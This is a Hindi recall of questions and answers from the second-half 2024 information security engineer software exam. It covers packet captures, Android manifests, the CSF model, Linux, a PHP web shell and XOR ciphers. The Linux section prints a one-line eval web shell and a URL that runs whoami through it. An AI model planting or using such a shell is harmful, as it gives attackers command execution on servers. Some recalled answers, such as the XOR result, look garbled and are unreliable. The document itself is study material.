2024InformationSecurityEngineer

2024 सूचना सुरक्षा इंजीनियर, 2024InformationSecurityEngineer

2024 की दूसरी छमाही - सूचना सुरक्षा इंजीनियर

नमूना प्रश्न स्मरण

सॉफ़्टवेयर परीक्षा - परीक्षा समय : 2024年11月08日

1. फ़ायरवॉल पैकेट कैप्चर (14 अंक)

1. पैकेट की लंबाई___ (2 अंक) उत्तर: 63
2. यह वास्तविक मशीन है या वर्चुअल मशीन___ (2 अंक) उत्तर: वर्चुअल मशीन
3. नियंत्रण होस्ट का IP और पोर्ट___ (2 अंक) उत्तर: 192.168.1.218 14444
4. Wireshark में IP और पोर्ट के लिए फ़िल्टर नियम___ (2 अंक) उत्तर: ip.addr == 192.168.2.105 and tcp.dstport == 14444
5. नियंत्रण होस्ट द्वारा उपयोग किया गया कमांड (2 अंक) उत्तर: ipconfig
6. Windows में फ़ायरवॉल देखने के लिए शॉर्टकट___ (2 अंक) उत्तर: firewall.cpl
7. कौन-सा विकल्प___ (2 अंक) उत्तर: कस्टम

2. एंड्रॉइड प्रश्न (16 अंक)

1. हस्ताक्षर संग्रहीत करने वाली निर्देशिका/फ़ाइल___ (2 अंक) उत्तर: META-INF

2. अनुमतियाँ संग्रहीत करने वाली निर्देशिका/फ़ाइल___ (2 अंक) उत्तर: AndroidManifest.xml

3. 5 प्रश्न (10 अंक) （1）कौन-सी सेटिंग बैकअप का समर्थन करती है; （2）क्या ऐतिहासिक स्थान की जानकारी पढ़ी जा सकती है; क्या कोई सुरक्षा जोखिम है; （3）कॉन्फ़िगरेशन फ़ाइल में चार मुख्य घटकों में से कौन-कौन से उपयोग किए गए हैं; （4）किस घटक में सूचना लीक होने का जोखिम सबसे अधिक है; （5）क्या सूचना का दुरुपयोग मौजूद है? विस्तार से बताएं;

   उत्तर: （1）backup...... बैकअप समर्थित नहीं है （2）जोखिम मौजूद है; अज्ञात जानकारी के लीक होने का खतरा है （3）Activity, BroadcastRecevier （4）Contentprovider （5）सूचना दुरुपयोग मौजूद है; स्थान, कैमरा, स्टोरेज, संपर्क, मल्टीमीडिया, ब्लूटूथ आदि अनुमतियाँ, जिनमें से कई अत्यधिक संग्रह हैं

4. क्या एंड्रॉइड में उपयोगकर्ता के पास root अनुमति है (2 अंक) उत्तर: नहीं

3. CSF (11 अंक)

1. कौन-सा सुरक्षा मॉडल___ (2 अंक) उत्तर: PDRR
2. अज्ञात
3. फ़ायरवॉल किस मुख्य कार्य के लिए है___ (2 अंक) उत्तर: सुरक्षा
4. 2 प्रश्न (4 अंक) （1）CSF में PDRR की तुलना में कौन-सा अतिरिक्त मुख्य कार्य है___ (2 अंक) उत्तर: पहचान （2）जोखिम मूल्यांकन CSF के किस कार्य के अंतर्गत आता है___ (2 अंक) उत्तर: पहचान
5. परिसंपत्ति पहचान के अलावा, कौन-सी तीन पहचानें हैं___ (3 अंक) उत्तर: जोखिम पहचान; भेद्यता पहचान; मौजूदा सुरक्षा उपायों की पहचान

4. Linux (13 अंक)

1. ll का पूरा नाम___ (2 अंक) उत्तर: ls -l

2. वर्तमान में root है या सामान्य उपयोगकर्ता___ (2 अंक) उत्तर: root

3. फ़ाइल अनुमति का अंकीय रूप___ (2 अंक) उत्तर: rw-r--r-- 644

4. चित्र में ../ का क्या अर्थ है___ (2 अंक) उत्तर: ऊपरी निर्देशिका, /var/www/html

5. Linux में हैश मान की गणना करने के लिए अंतर्निहित कमांड___ (2 अंक) md5sum; sha1sum; shasum -a 256

6. shell.php <?php @eval($_GET["cmd"]); ?> (5 अंक)

1. इस फ़ाइल के अनुरूप कनेक्शन पासवर्ड क्या है? उत्तर: cmd
2. http की कौन-सी अनुरोध विधि है? उत्तर: GET
3. मान लें कि डोमेन नाम abc.com है, तो whoami निष्पादित करने के लिए पूर्ण अनुरोध URL उत्तर: abc.com/shell.php?cmd=system("whoami")

5. एन्क्रिप्शन (15 अंक)

1. सममित और असममित के अलावा, प्लेनटेक्स्ट की प्रोसेसिंग विधि के अनुसार किस प्रकार एन्क्रिप्ट किया जा सकता है? (2 अंक) उत्तर: ब्लॉक एन्क्रिप्शन और स्ट्रीम एन्क्रिप्शन

2. a का 8-बिट मान (2 अंक) उत्तर: 97 ---》 01100001

3. a और abc के XOR एन्क्रिप्शन का परिणाम (6 अंक) उत्तर: 032 या 00000000 00000011 00000010

4. mi, ki, ci दिए जाने पर, प्लेनटेक्स्ट प्राप्त करने का सूत्र क्या है? (2 अंक) उत्तर: mi = ki XOR ci

5. क्या दो अलग-अलग प्लेनटेक्स्ट को एक ही स्ट्रीम सिफर कुंजी से एन्क्रिप्ट करना सुरक्षित है? क्यों? (2 अंक) उत्तर: असुरक्षित है, क्योंकि एक प्लेनटेक्स्ट से दूसरे का अनुमान लगाया जा सकता है

6. क्या ब्लॉक सिफर का उपयोग स्ट्रीम सिफर के रूप में किया जा सकता है (1 अंक) उत्तर: हाँ